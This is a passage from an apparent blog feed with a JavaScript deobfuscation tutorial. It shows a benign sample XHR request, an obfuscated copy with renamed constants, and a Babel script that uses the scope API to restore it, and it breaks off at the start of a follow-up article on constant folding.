function_">setRequestHeader</span>(<span class="hljs-string">"RandomInt"</span>, random);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"Accept"</span>, <span class="hljs-string">"text/html"</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"Accept-Encoding"</span>, <span class="hljs-string">"gzip, deflate, br"</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"Accept-Language"</span>, <span class="hljs-string">"en-US,en;q=0.9"</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"Cache-Control"</span>, <span class="hljs-string">"no-cache"</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"Connection"</span>, <span class="hljs-string">"keep-alive"</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"Host"</span>, <span class="hljs-string">"n0tar3als1t3.dev"</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"Pragma"</span>, <span class="hljs-string">"no-cache"</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"Referer"</span>, <span class="hljs-string">"https://n0tar3als1t3.dev"</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<br> <span class="hljs-string">`sec-ch-ua", "" Not A;Brand";v="99", "Chromium";v="101", "Google Chrome";v="101"`</span><br> );<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"sec-ch-ua-mobile"</span>, <span class="hljs-string">"?0"</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"sec-ch-ua-platform"</span>, <span class="hljs-string">`"Windows"`</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"Sec-Fetch-Dest"</span>, <span class="hljs-string">"empty"</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"Sec-Fetch-Mode"</span>, <span class="hljs-string">"cors"</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"Sec-Fetch-Site"</span>, <span class="hljs-string">"same-origin"</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<br> <span class="hljs-string">"User-Agent"</span>,<br> <span class="hljs-string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36"</span><br> );<br><br> xhr.<span class="hljs-property">onreadystatechange</span> = <span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">if</span> (xhr.<span class="hljs-property">readyState</span> === <span class="hljs-number">4</span>) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(xhr.<span class="hljs-property">status</span>);<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(xhr.<span class="hljs-property">responseText</span>);<br> }<br> };<br><br> xhr.<span class="hljs-title function_">send</span>();<br>};<br></code></pre></td></tr></table></figure><p>We can obfuscate it by replacing all references to the string literals with references to constant variables:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * "constantReferencesObfuscated.js"</span><br><span class="hljs-comment"> * This is the resulting code after obfuscation.</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><br><span class="hljs-keyword">const</span> <span class="hljs-variable constant_">QY</span>$e_yOs = <span class="hljs-string">"https://api.n0tar3als1t3.dev:1423/getData"</span>;<br><span class="hljs-keyword">let</span> apNykoxUn = <span class="hljs-string">"sec-ch-ua-mobile"</span>;<br><span class="hljs-keyword">const</span> zgDT = <span class="hljs-string">"Connection"</span>;<br><span class="hljs-keyword">let</span> A$E =<br> <span class="hljs-string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36"</span>;<br><span class="hljs-keyword">const</span> <span class="hljs-title class_">XVyy</span>$qGVDc = <span class="hljs-string">"Sec-Fetch-Dest"</span>;<br><span class="hljs-keyword">var</span> <span class="hljs-title class_">EkoMLkb</span> = <span class="hljs-string">"Cache-Control"</span>;<br><span class="hljs-keyword">let</span> $jAONLEC = <span class="hljs-string">"Host"</span>;<br><span class="hljs-keyword">var</span> <span class="hljs-title class_">PGOSDhGVlcd</span> = <span class="hljs-string">"https://n0tar3als1t3.dev"</span>;<br><span class="hljs-keyword">const</span> m$ua = <span class="hljs-string">"Accept-Encoding"</span>;<br><span class="hljs-keyword">var</span> <span class="hljs-title class_">Hw</span>$seiMEes = <span class="hljs-string">"Pragma"</span>;<br><span class="hljs-keyword">const</span> <span class="hljs-title class_">ZHCx</span> = <span class="hljs-string">"Sec-Fetch-Site"</span>;<br><span class="hljs-keyword">var</span> <span class="hljs-title class_">PfxQUj</span> = <span class="hljs-string">"Referer"</span>;<br><span class="hljs-keyword">const</span> e_WXHbgheSe = <span class="hljs-string">"Accept"</span>;<br><span class="hljs-keyword">const</span> _VTGows = <span class="hljs-string">"GET"</span>;<br><span class="hljs-keyword">var</span> kphzJIkbgb = <span class="hljs-string">"gzip, deflate, br"</span>;<br><br><span class="hljs-keyword">const</span> req = <span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">const</span> <span class="hljs-title class_">SNgfg</span> = <span class="hljs-string">"no-cache"</span>;<br> <span class="hljs-keyword">let</span> vOqEy = <span class="hljs-string">"text/html"</span>;<br> <span class="hljs-keyword">const</span> uugBXYcdsHp = <span class="hljs-string">"same-origin"</span>;<br> <span class="hljs-keyword">const</span> <span class="hljs-variable constant_">AH</span>$HwC = <span class="hljs-string">"Accept-Language"</span>;<br> <span class="hljs-keyword">var</span> <span class="hljs-title class_">PnAJsD</span> =<br> <span class="hljs-string">'sec-ch-ua", "" Not A;Brand";v="99", "Chromium";v="101", "Google Chrome";v="101"'</span>;<br> <span class="hljs-keyword">const</span> <span class="hljs-title class_">Svno</span> = <span class="hljs-string">"n0tar3als1t3.dev"</span>;<br> <span class="hljs-keyword">let</span> <span class="hljs-title class_">OTCqIvdmed</span> = <span class="hljs-string">'"Windows"'</span>;<br> <span class="hljs-keyword">let</span> mVu = <span class="hljs-string">"RandomInt"</span>;<br> <span class="hljs-keyword">const</span> <span class="hljs-title class_">UgLln</span> = <span class="hljs-string">"empty"</span>;<br> <span class="hljs-keyword">const</span> <span class="hljs-title class_">HwjBe</span> = <span class="hljs-string">"?0"</span>;<br> <span class="hljs-keyword">var</span> <span class="hljs-title class_">QnXFnewjh</span> = <span class="hljs-string">"Sec-Fetch-Mode"</span>;<br> <span class="hljs-keyword">var</span> lGhlU$gqPoK = <span class="hljs-string">"cors"</span>;<br> <span class="hljs-keyword">const</span> <span class="hljs-title class_">GcictYiOQ</span> = <span class="hljs-string">"User-Agent"</span>;<br> <span class="hljs-keyword">const</span> <span class="hljs-title class_">AfYNl</span> = <span class="hljs-string">"no-cache"</span>;<br> <span class="hljs-keyword">var</span> cLAVjnFa = <span class="hljs-string">"keep-alive"</span>;<br> <span class="hljs-keyword">var</span> V$lt = <span class="hljs-string">"en-US,en;q=0.9"</span>;<br> <span class="hljs-keyword">const</span> <span class="hljs-title class_">TlMBXe</span> = <span class="hljs-string">"sec-ch-ua-platform"</span>;<br> <span class="hljs-keyword">let</span> random = <span class="hljs-title class_">Math</span>.<span class="hljs-title function_">random</span>() * <span class="hljs-number">1000</span>;<br> <span class="hljs-keyword">var</span> xhr = <span class="hljs-keyword">new</span> <span class="hljs-title class_">XMLHttpRequest</span>();<br> <span class="hljs-keyword">var</span> url = <span class="hljs-variable constant_">QY</span>$e_yOs;<br> xhr.<span class="hljs-title function_">open</span>(_VTGows, url);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(mVu, random);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(e_WXHbgheSe, vOqEy);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(m$ua, kphzJIkbgb);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-variable constant_">AH</span>$HwC, V$lt);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-title class_">EkoMLkb</span>, <span class="hljs-title class_">SNgfg</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(zgDT, cLAVjnFa);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>($jAONLEC, <span class="hljs-title class_">Svno</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-title class_">Hw</span>$seiMEes, <span class="hljs-title class_">AfYNl</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-title class_">PfxQUj</span>, <span class="hljs-title class_">PGOSDhGVlcd</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-title class_">PnAJsD</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(apNykoxUn, <span class="hljs-title class_">HwjBe</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-title class_">TlMBXe</span>, <span class="hljs-title class_">OTCqIvdmed</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-title class_">XVyy</span>$qGVDc, <span class="hljs-title class_">UgLln</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-title class_">QnXFnewjh</span>, lGhlU$gqPoK);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-title class_">ZHCx</span>, uugBXYcdsHp);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-title class_">GcictYiOQ</span>, A$E);<br><br> xhr.<span class="hljs-property">onreadystatechange</span> = <span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">if</span> (xhr.<span class="hljs-property">readyState</span> === <span class="hljs-number">4</span>) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(xhr.<span class="hljs-property">status</span>);<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(xhr.<span class="hljs-property">responseText</span>);<br> }<br> };<br><br> xhr.<span class="hljs-title function_">send</span>();<br>};<br></code></pre></td></tr></table></figure><h2 id="Analysis-Methodology"><a href="#Analysis-Methodology" class="headerlink" title="Analysis Methodology"></a>Analysis Methodology</h2><p>Obviously, the obfuscated script is much more difficult to read. If you were to manually deobfuscate it, you’d have to search up each referenced variable and replace each occurrence of it with the actual variable. That could get tedious for a large number of variables, so we’re going to do it the Babel way. As always, let’s start by pasting the code into <a href="https://astexplorer.net/">AST Explorer</a>.</p><p><img src="/2022/05/31/Deobfuscating-Javascript-via-AST-Replacing-References-to-Constant-Variables-with-Their-Actual-Value/replacing1.PNG" alt="View of the obfuscated code in AST Explorer"></p><p>Our targets of interest are the extra variable declarations. Let’s take a closer look at one of them:</p><p><img src="/2022/05/31/Deobfuscating-Javascript-via-AST-Replacing-References-to-Constant-Variables-with-Their-Actual-Value/replacing2.PNG" alt="A closer look at one of the nodes of interest"></p><p>So, the target node type appears to be of type <em>VariableDeclaration</em>. However, each of these <em>VariableDeclarations</em> contains an array of <em>VariableDeclarators</em>. It is the <em>VariableDeclarator</em> that actually contains the information of the variables, including its <code>id</code> and <code>init</code> values. So, the actual node type we should focus on is <em>VariableDeclarator</em>.</p><p>Recall that we want to identify all <strong><em>constant</em></strong> variables, then replace all their <strong><em>references</em></strong> with their actual value. It’s important to note that variables in different scopes (e.g. local vs. global), may share the same name but have different values. So, the solution isn’t as simple as blindly replacing all matching identifiers with their initial value.</p><p>This would be a convoluted process if not for Babel’s ‘Scope’ API. I won’t dive too deep into the available scope APIs, but you can refer to the <a href="https://github.com/jamiebuilds/babel-handbook/blob/master/translations/en/plugin-handbook.md#toc-scopes">Babel Plugin Handbook</a> to learn more about them. In our case, the <code>scope.getBinding(${identifierName})</code> method will be incredibly useful for us, as it directly returns information regarding if a variable is constant and all of its references.</p><p>Putting all this knowledge together, the steps for creating the deobfuscator are as follows:</p><ol><li>Traverse the ast in search of <em>VariableDeclarators</em>. If one is found:<ol><li>Check if the variable is initialized. If it is, check that the initial value is a <em>Literal</em> type. If not, skip the node by returning.</li><li>Use the <code>path.scope.getBinding(${identifierName})</code> method with the name of the current variable as the argument.</li><li>Store the returned <code>constant</code> and <code>referencedPaths</code> properties in their own respective variables.</li><li>Check if the <code>constant</code> property is <code>true</code>. If it isn’t, skip the node by returning.</li><li>Loop through all NodePaths in the <code>referencedPaths</code> array, and replace them with the current <em>VariableDeclarator</em> ‘s initial value (<code>path.node.init</code>)</li><li>After finishing the loop, remove the original <em>VariableDeclarator</em> node since it has no further use.</li></ol></li></ol><p>The babel implementation is shown below:</p><h1 id="Babel-Deobfuscation-Script"><a href="#Babel-Deobfuscation-Script" class="headerlink" title="Babel Deobfuscation Script"></a>Babel Deobfuscation Script</h1><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br></pre></td><td class="code"><pre><code class="hljs Javascript"><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Deobfuscator.js</span><br><span class="hljs-comment"> * The babel script used to deobfuscate the target file</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">const</span> parser = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/parser"</span>);<br><span class="hljs-keyword">const</span> traverse = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/traverse"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> t = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/types"</span>);<br><span class="hljs-keyword">const</span> generate = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/generator"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> beautify = <span class="hljs-built_in">require</span>(<span class="hljs-string">"js-beautify"</span>);<br><span class="hljs-keyword">const</span> { readFileSync, writeFile } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"fs"</span>);<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Main function to deobfuscate the code.</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> source The source code of the file to be deobfuscated</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">deobfuscate</span>(<span class="hljs-params">source</span>) {<br> <span class="hljs-comment">//Parse AST of Source Code</span><br> <span class="hljs-keyword">const</span> ast = parser.<span class="hljs-title function_">parse</span>(source);<br><br> <span class="hljs-comment">// Visitor for replacing constants</span><br><br> <span class="hljs-keyword">const</span> replaceRefsToConstants = {<br> <span class="hljs-title class_">VariableDeclarator</span>(path) {<br> <span class="hljs-keyword">const</span> { id, init } = path.<span class="hljs-property">node</span>;<br> <span class="hljs-comment">// Ensure the the variable is initialized to a Literal type.</span><br> <span class="hljs-keyword">if</span> (!t.<span class="hljs-title function_">isLiteral</span>(init)) <span class="hljs-keyword">return</span>;<br> <span class="hljs-keyword">let</span> {constant, referencePaths} = path.<span class="hljs-property">scope</span>.<span class="hljs-title function_">getBinding</span>(id.<span class="hljs-property">name</span>);<br> <span class="hljs-comment">// Make sure it's constant</span><br> <span class="hljs-keyword">if</span> (!constant) <span class="hljs-keyword">return</span>;<br> <span class="hljs-comment">// Loop through all references and replace them with the actual value.</span><br> <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> referencedPath <span class="hljs-keyword">of</span> referencePaths) {<br> referencedPath.<span class="hljs-title function_">replaceWith</span>(init);<br> }<br> <span class="hljs-comment">// Delete the now useless VariableDeclarator</span><br> path.<span class="hljs-title function_">remove</span>();<br> },<br> };<br><br> <span class="hljs-comment">// Execute the visitor</span><br> <span class="hljs-title function_">traverse</span>(ast, replaceRefsToConstants);<br><br> <span class="hljs-comment">// Code Beautification</span><br> <span class="hljs-keyword">let</span> deobfCode = <span class="hljs-title function_">generate</span>(ast, { <span class="hljs-attr">comments</span>: <span class="hljs-literal">false</span> }).<span class="hljs-property">code</span>;<br> deobfCode = <span class="hljs-title function_">beautify</span>(deobfCode, {<br> <span class="hljs-attr">indent_size</span>: <span class="hljs-number">2</span>,<br> <span class="hljs-attr">space_in_empty_paren</span>: <span class="hljs-literal">true</span>,<br> });<br> <span class="hljs-comment">// Output the deobfuscated result</span><br> <span class="hljs-title function_">writeCodeToFile</span>(deobfCode);<br>}<br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Writes the deobfuscated code to output.js</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> code The deobfuscated code</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">writeCodeToFile</span>(<span class="hljs-params">code</span>) {<br> <span class="hljs-keyword">let</span> outputPath = <span class="hljs-string">"output.js"</span>;<br> <span class="hljs-title function_">writeFile</span>(outputPath, code, <span class="hljs-function">(<span class="hljs-params">err</span>) =></span> {<br> <span class="hljs-keyword">if</span> (err) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"Error writing file"</span>, err);<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">`Wrote file to <span class="hljs-subst">${outputPath}</span>`</span>);<br> }<br> });<br>}<br><br><span class="hljs-title function_">deobfuscate</span>(<span class="hljs-title function_">readFileSync</span>(<span class="hljs-string">"./constantReferencesObfuscated.js"</span>, <span class="hljs-string">"utf8"</span>));<br><br></code></pre></td></tr></table></figure><p>After processing the obfuscated script with the babel plugin above, we get the following result:</p><h1 id="Post-Deobfuscation-Result"><a href="#Post-Deobfuscation-Result" class="headerlink" title="Post-Deobfuscation Result"></a>Post-Deobfuscation Result</h1><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">const</span> req = <span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">let</span> random = <span class="hljs-title class_">Math</span>.<span class="hljs-title function_">random</span>() * <span class="hljs-number">1000</span>;<br> <span class="hljs-keyword">var</span> xhr = <span class="hljs-keyword">new</span> <span class="hljs-title class_">XMLHttpRequest</span>();<br> xhr.<span class="hljs-title function_">open</span>(<span class="hljs-string">"GET"</span>, <span class="hljs-string">"https://api.n0tar3als1t3.dev:1423/getData"</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"RandomInt"</span>, random);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"Accept"</span>, <span class="hljs-string">"text/html"</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"Accept-Encoding"</span>, <span class="hljs-string">"gzip, deflate, br"</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"Accept-Language"</span>, <span class="hljs-string">"en-US,en;q=0.9"</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"Cache-Control"</span>, <span class="hljs-string">"no-cache"</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"Connection"</span>, <span class="hljs-string">"keep-alive"</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"Host"</span>, <span class="hljs-string">"n0tar3als1t3.dev"</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"Pragma"</span>, <span class="hljs-string">"no-cache"</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"Referer"</span>, <span class="hljs-string">"https://n0tar3als1t3.dev"</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<br> <span class="hljs-string">'sec-ch-ua", "" Not A;Brand";v="99", "Chromium";v="101", "Google Chrome";v="101"'</span><br> );<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"sec-ch-ua-mobile"</span>, <span class="hljs-string">"?0"</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"sec-ch-ua-platform"</span>, <span class="hljs-string">'"Windows"'</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"Sec-Fetch-Dest"</span>, <span class="hljs-string">"empty"</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"Sec-Fetch-Mode"</span>, <span class="hljs-string">"cors"</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"Sec-Fetch-Site"</span>, <span class="hljs-string">"same-origin"</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<br> <span class="hljs-string">"User-Agent"</span>,<br> <span class="hljs-string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36"</span><br> );<br><br> xhr.<span class="hljs-property">onreadystatechange</span> = <span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">if</span> (xhr.<span class="hljs-property">readyState</span> === <span class="hljs-number">4</span>) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(xhr.<span class="hljs-property">status</span>);<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(xhr.<span class="hljs-property">responseText</span>);<br> }<br> };<br><br> xhr.<span class="hljs-title function_">send</span>();<br>};<br></code></pre></td></tr></table></figure><p>And the code is restored. Even better than the original actually, since we substituted in the <code>url</code> variable too!</p><h1 id="Conclusion"><a href="#Conclusion" class="headerlink" title="Conclusion"></a>Conclusion</h1><p>Substitution of constant variables is a must-know deobfuscation technique. It’ll usually be one of your first steps in the deobfuscation, combined with <em>constant folding</em>. If you would like to learn about constant folding, you can read my article about it <a href="http://steakenthusiast.github.io/2022/05/28/Deobfuscating-Javascript-via-AST-Manipulation-Constant-Folding/">here</a>.</p><p>This article also gave a nice introduction to one of the useful Babel API methods. Unfortunately, there isn’t much good documentation out there aside from the <a href="https://github.com/jamiebuilds/babel-handbook/blob/master/translations/en/plugin-handbook.md">Babel Plugin Handbook</a>. However, you can discover a lot more useful features Babel has to offer by reading its source code, or using the debugger of an IDE to list and test helper methods (the latter of which I personally prefer 😄).</p><p>If you’re interested, you can find the source code for all the examples in <a href="https://github.com/SteakEnthusiast/Supplementary-AST-Based-Deobfuscation-Materials">this repository</a>.</p><p>Okay, that’s all I have for you today. I hope that this article helped you learn something new. Thanks for reading, and happy reversing!</p>]]></content>
<categories>
<category>Deobfuscation</category>
</categories>
<tags>
<tag>Javascript</tag>
<tag>Deobfuscation</tag>
<tag>Babel</tag>
<tag>Reverse Engineering</tag>
</tags>
</entry>
<entry>
<title>Deobfuscating Javascript via AST: Constant Folding/Binary Expression Simplification</title>
<link href="/2022/05/28/Deobfuscating-Javascript-via-AST-Manipulation-Constant-Folding/"/>
<url>/2022/05/28/Deobfuscating-Javascript-via-AST-Manipulation-Constant-Folding/</url>
<content type="html"><![CDATA[<h1 id="Preface"><a href="#Preface" class="headerlink" title="Preface"></a>Preface</h1><p>This article assumes a preliminary understanding of Abstract Syntax Tree structure and <a href="https://babeljs.io/">BabelJS</a>. <a href="http://steakenthusiast.github.io/2022/05/21/Deobfuscating-Javascript-via-AST-An-Introduction-to-Babel/">Click Here</a> to read my introductory article on the usage of Babel.</p><h1 id="What-is-Constant-Folding"><a href="#What-is-Constant-Folding" class="headerlink" title="What is Constant Folding?"></a>What is Constant Folding?</h1><p><strong>Constant Folding</strong>: “An optimization technique that eliminates expressions that calculate a value that can already be determined before code execution.” (<a href="https://cran.r-project.org/web/packages/rco/vignettes/opt-constant-folding.html">Source</a>)</p><p>To better explain constant folding, it’s perhaps more useful to first introduce the obfuscation technique that constant folding fights against. Take the following code for example:</p><h1 id="Examples"><a href="#Examples" class="headerlink" title="Examples"></a>Examples</h1><h2 id="Example-1-The-Basic-Case"><a href="#Example-1-The-Basic-Case" class="headerlink" title="Example #1: The Basic Case"></a>Example #1: The Basic Case</h2><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * "Input.js"</span><br><span class="hljs-comment"> * Original, unobfuscated code.</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">let</span> foo = <span class="hljs-number">27</span>;<br><span class="hljs-keyword">let</span> bar = <span class="hljs-number">4</span>;<br><span class="hljs-keyword">let</span> baz = <span class="hljs-string">"I am a string literal, totally whole!"</span>;<br></code></pre></td></tr></table></figure><p>An obfuscator may split each constant value into multiple <em>binary expressions</em>, which could look something like this after obfuscation:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * 